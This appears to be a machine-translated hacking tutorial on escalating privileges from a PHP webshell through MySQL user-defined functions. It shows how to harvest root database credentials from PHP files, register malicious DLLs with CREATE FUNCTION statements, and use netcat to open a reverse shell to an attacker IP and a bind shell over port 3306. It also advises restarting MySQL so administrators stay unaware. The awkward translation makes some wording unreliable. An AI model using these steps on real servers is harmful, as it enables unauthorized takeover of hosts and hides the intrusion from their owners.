Webshell enhance the privilege of another recruit _ vulnerability research

Serv the right way everyone will use, make the host is now configured very safe, it seems that the proliferation of attacks is also causing China's network security progress of one of the major reasons, there are other pcanywhere to obtain passwords, replacement services, and so on. But now also not so good, with the security awareness of the improvement, the previous way is not useful, now I give you a new way to raise the right, see the classical LM do that animation friends know? Use MYSQLL weak password to get system permissions, on the Webshel can also be achieved, but there is a prerequisite, is the target host with MySQL, and you know the MySQL user and password, can carry out the right. Webshell got it, and finding users and passwords is not a difficult task. Now I take my other machine to do a demonstration, has passed the Phpshell, generally connected to the MySQL account password is very good to find, casually edit a php file, you can see.
See, User name: root password: 123456 library name: PHP then what? First use SQL Query to establish a connection, ha connected successfully, and now began to use our right to drop Dongdong: Mix.dll My_udf.dll upload up first. OK, good, Mix.dll for bounce connection, My_ Udf.dll is a forward connection, directly using the 3306 port connected to each other and then enter the password to obtain Cmdshell. Well, not much, but after that. Executes the following SQL statement create function Mixconnect returns string Soname ' D:\\php\\php\\mix.dll '; To register the function.

The SQL statement was executed successfully!

To get Cmdshell is not far, we first use the Nc in the local listening to a port first,nc -l -p 1234  (this I do not want to take a screenshot of it) and then execute the statement: Select mixconnect ( ' 192.168.1.254 ', ' 1234 ');  to activate the function, execute successfully, and then see our NC has a reflection did not, successfully get Cmshell, but then the other side of the MySQL has suspended animation, we want to kill the MySQL service process, Then restart the MySQL service to do, or the administrator found that the site can not run, then .... If the server is not allowed to connect to any external IP and port, his 3306 port is open! Then My_udf.dll should play, using the same method and mix, the successful connection to MySQL after the execution of the following statement: create function my_udfdoor returns string  soname  ' D:\\php\\php\my_udf.dll ';  execute the statement successfully, then we start activating this function, enter the statement:select my_udfdoor  (");    then connect 3306 ports with NC and enter fuck  to get a Cmdshell .